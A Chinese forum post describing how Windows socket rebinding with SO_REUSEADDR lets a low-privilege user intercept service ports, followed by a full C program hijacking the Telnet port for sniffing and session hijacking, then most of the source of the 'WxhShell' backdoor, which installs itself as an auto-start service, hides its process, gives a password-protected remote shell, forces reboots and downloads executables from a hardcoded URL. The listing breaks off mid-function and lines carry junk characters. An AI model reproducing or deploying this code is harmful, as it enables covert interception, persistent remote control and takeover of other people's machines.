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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NK~j>>^;v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 37T<LU  
>j|.pi  
  saddr.sin_family = AF_INET; 9`$fU)K[Pl  
go@UE2qw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MHpPb{ ^  
1ePZs$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l~!\<, !  
liA)|.H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  #dtYa  
JC_Y#kN@z  
  这意味着什么?意味着可以进行如下的攻击: S c_*L<$  
@F+4 NL-'P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a:XVu0`(  
#78p# E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .`)\GjDv  
m5v9:5{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XWf8ZZj  
B<I%:SkF@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m`}! dBi  
 -*_D!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k>FMy#N|@  
ZXY5Xvt:v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "<Dn%r  
(I IPrW;>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %r=uS.+hrF  
7*r Q6rAP  
  #include 3qXOsa7  
  #include <_dyUiT$J  
  #include Yo/U/dB  
  #include    \|F4@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D}>pl8ke~g  
  int main() 68[3 /  
  { \j+O |#`|)  
  WORD wVersionRequested; %FDi7Rx  
  DWORD ret; +%OINMo.A  
  WSADATA wsaData; O={4 >>F  
  BOOL val; N/p9Ws  
  SOCKADDR_IN saddr; &BY%<h0c  
  SOCKADDR_IN scaddr; V}. uF,>V  
  int err; d(3F:dbk  
  SOCKET s; X*KQWs.  
  SOCKET sc; X|TEeE c[L  
  int caddsize; .0:BgM  
  HANDLE mt; 3{ LXx  
  DWORD tid;   D^baXp8  
  wVersionRequested = MAKEWORD( 2, 2 ); Hzcy '  
  err = WSAStartup( wVersionRequested, &wsaData ); wZJpSkcEx  
  if ( err != 0 ) { ug'I:#@2  
  printf("error!WSAStartup failed!\n"); #g#vDR!  
  return -1; #v0"hFOH,  
  } *p`0dvXG2  
  saddr.sin_family = AF_INET; /`Yy(?,  
   5Q#;4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Kfa7}f_  
I L 'i7p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y>Zvose  
  saddr.sin_port = htons(23); K kP}z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1P. W 34  
  { ^VK-[Sz&  
  printf("error!socket failed!\n"); :9Zu&t  
  return -1; :3^b>(W.  
  } X^r5su?  
  val = TRUE; \V  /s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SpPG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) an_qE}P  
  { zl F*F8>m  
  printf("error!setsockopt failed!\n"); L$=@j_V2  
  return -1; 1+~JGY#   
  } L-hK(W!8pt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8c(}*,O/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !C * %,Ak  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 es]\ xw  
+0rMv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RrSSAoz1  
  { dIQ7u  
  ret=GetLastError(); h!5^d!2,  
  printf("error!bind failed!\n"); ~=h]r/b< U  
  return -1; %jdV8D#Q  
  } @kvgq 0ab  
  listen(s,2); $#2ik~]>  
  while(1) )IPnSh/ <  
  { QWH1xId  
  caddsize = sizeof(scaddr); 8 !Pk1P  
  //接受连接请求 '(mJ*Eb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w$n\`rQ  
  if(sc!=INVALID_SOCKET) sOg@9-_Uh  
  { (Z"QHfO'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [HI&>dm=$  
  if(mt==NULL) SweaE Rl  
  { LTj;e[  
  printf("Thread Creat Failed!\n"); >y mMQEX`  
  break; U_v{Vs  
  } )67_yHW  
  } `au(' xi<  
  CloseHandle(mt); /%EKq+ZP  
  } >^LVj[.1  
  closesocket(s); C9E l {f  
  WSACleanup(); )A:2y +  
  return 0; 5 WSu  
  }   /ZqBO*]  
  DWORD WINAPI ClientThread(LPVOID lpParam) y3F13 Z@%  
  { 3v)v92;  
  SOCKET ss = (SOCKET)lpParam; vCyvy^s-I  
  SOCKET sc; #DApdD9M  
  unsigned char buf[4096]; m^rgzx19?  
  SOCKADDR_IN saddr; Y:[WwX|  
  long num; W7>4-gk  
  DWORD val; sP$bp Z}  
  DWORD ret; W.iL!x.B@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0L"CM?C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j!q5Bc?  
  saddr.sin_family = AF_INET; |-4C[5rM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `,i'vb`W#b  
  saddr.sin_port = htons(23); gvvl3`S{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zvf:*Na")  
  { ;F9<Yv  
  printf("error!socket failed!\n"); b }S}OW2  
  return -1; &f'\9lO  
  } O( G|fs  
  val = 100; V#.;OtF]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u3vBMe0v[  
  { Nr=ud QA{  
  ret = GetLastError(); ;v'7l>w3\w  
  return -1; hYMIe]kJ  
  } ;<`F[V Zau  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?P@fV'Jo  
  { =A={ Dpv[>  
  ret = GetLastError(); Bzn{~&i?W:  
  return -1; LWHP31{R  
  } xy>wA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z.Lm[$/edn  
  { CZRrb84  
  printf("error!socket connect failed!\n"); =Xh^@ OR  
  closesocket(sc); _/bFt6  
  closesocket(ss); ^0"NcOzzxl  
  return -1; zqfv|3-!}  
  } rGuhYYvK  
  while(1) []:;8fY  
  { h^^zR)EVb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4[a?. .X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e`k6YO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hDJq:g wD  
  num = recv(ss,buf,4096,0); {Md xIp[  
  if(num>0) `)e;bLP  
  send(sc,buf,num,0); c[E{9wp v  
  else if(num==0) Ou</{l/  
  break; ' Bb]< L`  
  num = recv(sc,buf,4096,0); Epj  
  if(num>0) J_YbeZ]  
  send(ss,buf,num,0); 3{RuR+yi  
  else if(num==0) {k] 2h4 &h  
  break; Yh_H $uW  
  } fiz2544  
  closesocket(ss); .o91^jt  
  closesocket(sc); mbxJS_P  
  return 0 ; GHj1G,L@\  
  } *@o@>  
~t[ #p:  
?g%5 d  
========================================================== E]w1!Ah M  
(-*NRY3*  
下边附上一个代码,,WXhSHELL Q:eIq<erY  
t+Kxww58  
========================================================== `bu3S }m7  
Af1izS3  
#include "stdafx.h" Cnd70tbD )  
J"QXu M  
#include <stdio.h> _H}y7  
#include <string.h> L0uvRge  
#include <windows.h> xEQ2iCeC  
#include <winsock2.h> 'ah|cMRn  
#include <winsvc.h> j)ZvlRi,  
#include <urlmon.h> CN8GeZ-G  
JPfNf3<@My  
#pragma comment (lib, "Ws2_32.lib") %<$CH],%  
#pragma comment (lib, "urlmon.lib") IK5FSN]s/  
L,!?'.*/]  
#define MAX_USER   100 // 最大客户端连接数 d=V4,:=S  
#define BUF_SOCK   200 // sock buffer W[PZQCL}K)  
#define KEY_BUFF   255 // 输入 buffer IF~i*  
:0IxnK(r&  
#define REBOOT     0   // 重启 `GOxFDB.  
#define SHUTDOWN   1   // 关机 tk"L2t  
q9o =,[  
#define DEF_PORT   5000 // 监听端口 {6Lkh  
D 7 l&L  
#define REG_LEN     16   // 注册表键长度 L>+g;GJ  
#define SVC_LEN     80   // NT服务名长度 !t "uNlN  
11}sRu/  
// 从dll定义API iY"I:1l.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mN +~fu h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j[NA3Vj1P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Je_Hj9#M\d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +#8?y 5~q  
kwNXKn/   
// wxhshell配置信息 h Vz%{R"  
struct WSCFG { #<f}.P.Uc  
  int ws_port;         // 监听端口 yveyAsN`B  
  char ws_passstr[REG_LEN]; // 口令 Yf.H$L  
  int ws_autoins;       // 安装标记, 1=yes 0=no uW%7X2K  
  char ws_regname[REG_LEN]; // 注册表键名 MuB8gSu  
  char ws_svcname[REG_LEN]; // 服务名 3Gq Js  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QT{$2 7;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aGVzg$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "wL~E Si  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vb/*ILS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G~_5E]8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HVz-i{M  
2!f0!<te  
}; FQNhn+A  
UXD?gK1  
// default Wxhshell configuration 7Z5,(dH>  
struct WSCFG wscfg={DEF_PORT, ^(m`5]qr7J  
    "xuhuanlingzhe", L(TO5Y]  
    1, >0)E\_ u  
    "Wxhshell", YM{Q)115  
    "Wxhshell", w8:F^{  
            "WxhShell Service", 5~k-c Ua  
    "Wrsky Windows CmdShell Service", idnn%iO  
    "Please Input Your Password: ", *cCr0\Z`  
  1, SFoF]U09  
  "http://www.wrsky.com/wxhshell.exe", ,e+.Q#r*Y  
  "Wxhshell.exe" 'KpCPOhfR  
    }; D *W+0  
dvxD{UH  
// 消息定义模块 Z)'jn8?P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +A8S 6bA[=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d=WC1"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qyl~*r*  
char *msg_ws_ext="\n\rExit."; ^.Q{Aqu#.H  
char *msg_ws_end="\n\rQuit."; /b6Y~YbgU  
char *msg_ws_boot="\n\rReboot..."; TFbCJ@X  
char *msg_ws_poff="\n\rShutdown..."; "F>-W \%  
char *msg_ws_down="\n\rSave to "; &<@ { d  
d|TRP,y  
char *msg_ws_err="\n\rErr!"; seY0"ym&e  
char *msg_ws_ok="\n\rOK!"; ?"+' OOqik  
8F($RnP3  
char ExeFile[MAX_PATH]; +P|$T:b  
int nUser = 0; 7c!oFwM  
HANDLE handles[MAX_USER]; X0b :Oiw  
int OsIsNt; -`wGF#}y(=  
a8M.EFa:  
SERVICE_STATUS       serviceStatus; DamLkkoA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0K>rc1dy  
9F0B-aZ  
// 函数声明 9 pE)S^P  
int Install(void); %8`zaa  
int Uninstall(void); 95(c{ l/  
int DownloadFile(char *sURL, SOCKET wsh); mmY~V:,Kd  
int Boot(int flag); JiZ9ly( G  
void HideProc(void); 9;dP7o  
int GetOsVer(void); (HLy;^#R  
int Wxhshell(SOCKET wsl); %#Wg>6  
void TalkWithClient(void *cs); I5'^tBf[{  
int CmdShell(SOCKET sock); Xn.zN>mB  
int StartFromService(void); w$A*|^w1  
int StartWxhshell(LPSTR lpCmdLine); TC U |k ,  
z%ljEI"<C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "V~U{(Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6_;3   
_jH1Mcq  
// 数据结构和表定义 g-mK(kY4p  
SERVICE_TABLE_ENTRY DispatchTable[] = }^G'oR1LF  
{ Mp75L5  
{wscfg.ws_svcname, NTServiceMain}, @^Mn PM  
{NULL, NULL} d|on y  
}; 2t1WbP1  
v0X5`VV  
// 自我安装 IaE};8a8  
int Install(void) OW)8Z 60  
{ +<:p`%  
  char svExeFile[MAX_PATH]; gb@Rx  
  HKEY key; \yb^%$hZ0  
  strcpy(svExeFile,ExeFile); +x G](?  
Ec_ G9&  
// 如果是win9x系统,修改注册表设为自启动 0VoC|,$U  
if(!OsIsNt) { Z T8. r0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [KWF7GQi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mfG|K@ODM-  
  RegCloseKey(key); `]5XY8^kI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {eIE|   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tRbZ^5x\@  
  RegCloseKey(key); U,iTURd  
  return 0; #` z!f0 P  
    } 1>a^Q  
  } SZG8@ !_}7  
} BOL_kp"   
else { W$gSpZ_7  
K/Q;]+D  
// 如果是NT以上系统,安装为系统服务 6e  |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Aplqx vth  
if (schSCManager!=0) =eac,]31  
{ Uw61X>y=  
  SC_HANDLE schService = CreateService z&<Rx[  
  ( P_-zkw  
  schSCManager, Tj0eW(<!s  
  wscfg.ws_svcname, Zu%_kpW  
  wscfg.ws_svcdisp, &o4L;A#&  
  SERVICE_ALL_ACCESS, _I{&5V~z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $ }B"u;:SU  
  SERVICE_AUTO_START, H/)=  
  SERVICE_ERROR_NORMAL, V2, .@j#  
  svExeFile, nkJ*$cT1o  
  NULL, @GnsW;$*~.  
  NULL, fbw {)SZ  
  NULL, [n74&EH  
  NULL, ::TUSz2/2  
  NULL P]y2W#Rs  
  ); J)jiI>  
  if (schService!=0) d_5h6C z4  
  { ~d{E>J77j  
  CloseServiceHandle(schService); !\awT  
  CloseServiceHandle(schSCManager); Qs% f6rL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2vWkAC;   
  strcat(svExeFile,wscfg.ws_svcname); ` |]6<<'iW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }=f}@JlFB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <V6#)^Or  
  RegCloseKey(key); }ZYK3F  
  return 0; n1sH`C[c  
    } w_U5w  
  } tD4IwX  
  CloseServiceHandle(schSCManager); t9K.Jc0  
} |0qk  
} 0-|1}/{4  
H?'VQ=j  
return 1; "X]u fZ7  
} Z@ I%ppd  
-3 W 4  
// 自我卸载 m};_\Db`  
int Uninstall(void) snEkei|0  
{ U_VD* F4Bv  
  HKEY key; ;U7\pc;S  
YRYrR|I  
if(!OsIsNt) { RhQOl9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |LNXu  
  RegDeleteValue(key,wscfg.ws_regname); l^Lg"m2  
  RegCloseKey(key); 7#g C(&\A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t?0=;.D  
  RegDeleteValue(key,wscfg.ws_regname); Nc"h8p?  
  RegCloseKey(key); ZV Gw@3  
  return 0; $%t{O[ (  
  } _K;rM7  
} O-y"]Wrv  
} /(}V!0\?  
else { D!Gm9Pa}  
G3U+BC23E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -y/?w*Cx  
if (schSCManager!=0) 6=')*_~/  
{ lA]u8+gXd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M1ayAXO  
  if (schService!=0) sdO;vp^:b  
  { ;3?M?E/$s  
  if(DeleteService(schService)!=0) { Z].>U!7W  
  CloseServiceHandle(schService); T8KhmO  
  CloseServiceHandle(schSCManager); a"&Z!A:Z=  
  return 0; 3Q;^X(Ml*  
  } huq6rA/i  
  CloseServiceHandle(schService); 7 1)#'ey  
  } t]@ Zd*  
  CloseServiceHandle(schSCManager); yNDyh  
} lN1zfM  
} A?7%q^;E  
/kJ*WA?J  
return 1; a)TNVm^  
} VJ$C)0xQA  
T\WNT#My  
// 从指定url下载文件 #Se  
int DownloadFile(char *sURL, SOCKET wsh) /=3g-$o{`  
{ Ha/\&Z(  
  HRESULT hr; ,\qo   
char seps[]= "/"; Maxnk3n  
char *token; 92VAQU6  
char *file; =}q4ked /  
char myURL[MAX_PATH]; f0[xMn0Tu  
char myFILE[MAX_PATH]; ,F *e^#>  
ebao7r5@  
strcpy(myURL,sURL); RB\WttI  
  token=strtok(myURL,seps); W4#:_R,&,  
  while(token!=NULL) 1mjv~W  
  { 9|e"n|[  
    file=token; _*;cwMne-  
  token=strtok(NULL,seps); >WD^)W fa  
  } I{Kc{MXn  
z)]EB6uRg  
GetCurrentDirectory(MAX_PATH,myFILE); TY#1Z )%  
strcat(myFILE, "\\"); N%_~cR;  
strcat(myFILE, file); Y7jD:P  
  send(wsh,myFILE,strlen(myFILE),0); '|q :h  
send(wsh,"...",3,0); Sm1bDa\!=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dr2h-  
  if(hr==S_OK)  JA)gM  
return 0; [n}c}%  
else lZua"Ju  
return 1; ( ou:"Y  
Bdg*XfXXk  
} YVaQ3o|!  
&t8_J3?Z  
// 系统电源模块 05zHLj  
int Boot(int flag) J`8>QMK^5  
{ s<dD>SU  
  HANDLE hToken; @t2 Q5c  
  TOKEN_PRIVILEGES tkp; SKtEEFyIR_  
$x)'_o}e  
  if(OsIsNt) { .ClCP?HG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6X jUb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -j$l@2g  
    tkp.PrivilegeCount = 1; %F4Q|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FlgB-qR]<n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E:o:)h?$  
if(flag==REBOOT) { yd%\3}-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /~^I]D  
  return 0; ?I0 i%nH  
} SB'YV#--  
else { BJq}1mn*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q*4q3B&  
  return 0; czb%%:EJs|  
} f|G7L5-  
  } %%Kg'{-:  
  else { q%'ovX(dm  
if(flag==REBOOT) { 395o[YZx*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $ i&$ZdX  
  return 0; `kv$B3  
} IL=v[)en4  
else { Gzfb|9 ,q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R] [M_ r  
  return 0; hHg g H4T  
} Gu}x+hG  
} 5HIpoj;\(  
b mm@oi  
return 1; '?>eW 2d  
} 1h#k&r#*3  
O1ha'@qID  
// win9x进程隐藏模块 Y1'.m5E  
void HideProc(void) I>3]4mI*a  
{ 8k1 r|s@d  
ygW@[^g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?|8Tgs@+  
  if ( hKernel != NULL ) PVU"oz&T  
  { B0 I?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (XwLKkw0n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MELGTP>  
    FreeLibrary(hKernel); pjCWg 4ya  
  } ) e2IT*7  
YJ^ lM\/<  
return; h]MVFn{  
} -5cH$]1\  
cMWO_$  
// 获取操作系统版本 qQcC[50  
int GetOsVer(void) bZ9NnSuH  
{ }J?fJ (  
  OSVERSIONINFO winfo; I:_*8el&d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {^kG<v.vV  
  GetVersionEx(&winfo); QO7:iSZJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) by U\I5  
  return 1; ?iLd5 Z  
  else ,?`1ve_K<  
  return 0; IeB6r+4|  
} $.N~AA~0  
H|)1T-%  
// 客户端句柄模块 :ky<`Jfr`  
int Wxhshell(SOCKET wsl) DqMK[N,0  
{ Tb= {g;0 @  
  SOCKET wsh; M96( Rg  
  struct sockaddr_in client; V0 F30rK  
  DWORD myID; _o?(t\B9{  
c9 uT`h  
  while(nUser<MAX_USER) !~N4}!X3du  
{ N &[,nUd  
  int nSize=sizeof(client); rc$!$~|I3Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6}T%m?/}  
  if(wsh==INVALID_SOCKET) return 1; W|#ev*'F  
euhZ4+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cXY'>N  
if(handles[nUser]==0) T{<@MK%],d  
  closesocket(wsh); ?66(t  
else E.`d k.  
  nUser++; -k <9v.:  
  } !ix<|F5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IOkC[([  
w;EXjl;X O  
  return 0; GeaDaYh#T  
} (<3lo ZaX  
lZM3Q58?\  
// 关闭 socket 1bJ]3\  
void CloseIt(SOCKET wsh) b'1d<sD  
{ S9NN.dKu  
closesocket(wsh); m_$I?F0  
nUser--; +q j*P9  
ExitThread(0); EOX_[ek7  
} 06^1#M$'  
j 3MciQ`  
// 客户端请求句柄 R5eB,FN  
void TalkWithClient(void *cs) )c*k _/ 4  
{ p,iCM?[|  
q83~j `ZJ$  
  SOCKET wsh=(SOCKET)cs; GD[ou.C}k  
  char pwd[SVC_LEN]; *sB-scD  
  char cmd[KEY_BUFF]; B`B%:#  
char chr[1]; %i-lx`U  
int i,j; " q^#39i?  
S[ ~O')  
  while (nUser < MAX_USER) { ]rg+n c3  
Px#QZZ  
if(wscfg.ws_passstr) { .W :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LBkcs4+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q Iy^N:C2'  
  //ZeroMemory(pwd,KEY_BUFF); WjrMd#^  
      i=0; %Lp7@  
  while(i<SVC_LEN) { T]6c9_  
V< vPFxC  
  // 设置超时 >yBxa)  
  fd_set FdRead; +&7Kk9^  
  struct timeval TimeOut; ,=Nw(GI  
  FD_ZERO(&FdRead); F[CT l3X  
  FD_SET(wsh,&FdRead); k9) u 3  
  TimeOut.tv_sec=8; v] T(z L|  
  TimeOut.tv_usec=0; 5 Y Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1_NG+H]x9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z|(c(H2  
"Ug/ ',jkV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D*cyFAF  
  pwd=chr[0]; ,xYsH+ybA  
  if(chr[0]==0xd || chr[0]==0xa) { DMQNr(w{!2  
  pwd=0; =~hsKBt*  
  break; rocB"0  
  } (.,'}+1  
  i++; >HPvgR/#BY  
    } {zz6XlKPj  
lU $4NU wM  
  // 如果是非法用户,关闭 socket FKox0Jmh=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @?Gw|bP  
} TH>?Gi) "  
o8'Mks  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V5O=iMP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xegQRc  
I/HV;g:#  
while(1) { K3rBl!7v  
~`2&'8  
  ZeroMemory(cmd,KEY_BUFF); u`Z0{d  
zr.+'  
      // 自动支持客户端 telnet标准   .%?- As  
  j=0; Ug7`ez4vw  
  while(j<KEY_BUFF) { `z}vONXpAX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * -KJh_  
  cmd[j]=chr[0]; ypD<2z^  
  if(chr[0]==0xa || chr[0]==0xd) { z!s. 9  
  cmd[j]=0; +9zJlL^A%  
  break; VW9>xVd4  
  } d1V^2Hb?  
  j++; {}_Nep/;  
    } oWp}O?  
ZU|6jI}  
  // 下载文件 dP$8JI{  
  if(strstr(cmd,"http://")) { )'[x)q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "{A*(.  
  if(DownloadFile(cmd,wsh)) ;8*XOC;[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *N-;V|{  
  else U~:N^Sc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U!&_mD# c  
  } UzgA26;  
  else { v /R[?H)  
+M'aWlPg,  
    switch(cmd[0]) { .tRr?*V|l  
  Ot`LZ"H:  
  // 帮助 F qeV3 N  
  case '?': { Zc'|!pT _  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v2hZq-q  
    break; *jM_wwG  
  } \3Dk5cSDk+  
  // 安装 gA~20LSt  
  case 'i': { K(nS$x1G  
    if(Install()) C4QeDvpI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >4n+PXRXX  
    else 4\LZD{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k"xGA*B|  
    break; Ih.rC>)rx  
    } h+,'B&=|_  
  // 卸载 d_Q*$Iz)3  
  case 'r': { #z ON_[+s9  
    if(Uninstall()) 0QMTIAW6h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d<Ggw#}:m  
    else C:`;d&d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i2){xg~c  
    break; M.>^{n$ z  
    } 0b/i r2  
  // 显示 wxhshell 所在路径 *cbeyB{E  
  case 'p': { v*E(/}<v  
    char svExeFile[MAX_PATH]; 5Sr4-F+@%  
    strcpy(svExeFile,"\n\r"); V0K16#}1gM  
      strcat(svExeFile,ExeFile); KH7VR^;mk  
        send(wsh,svExeFile,strlen(svExeFile),0); j-7u>s-l  
    break; XJqTmj3   
    } >+cSPN'i>  
  // 重启 .VT;H1#  
  case 'b': { ;{vwBDV!'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lT8#bA  
    if(Boot(REBOOT)) 3&'2aW   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <W>++< -  
    else { *7ZGq(O  
    closesocket(wsh); dj'm, k b  
    ExitThread(0); GCDwWCxh  
    } Sw~(uH_l  
    break; ^ eQFg>  
    } |% z ^N*  
  // 关机 f-;$0mTQ  
  case 'd': { 0n Y6A~  
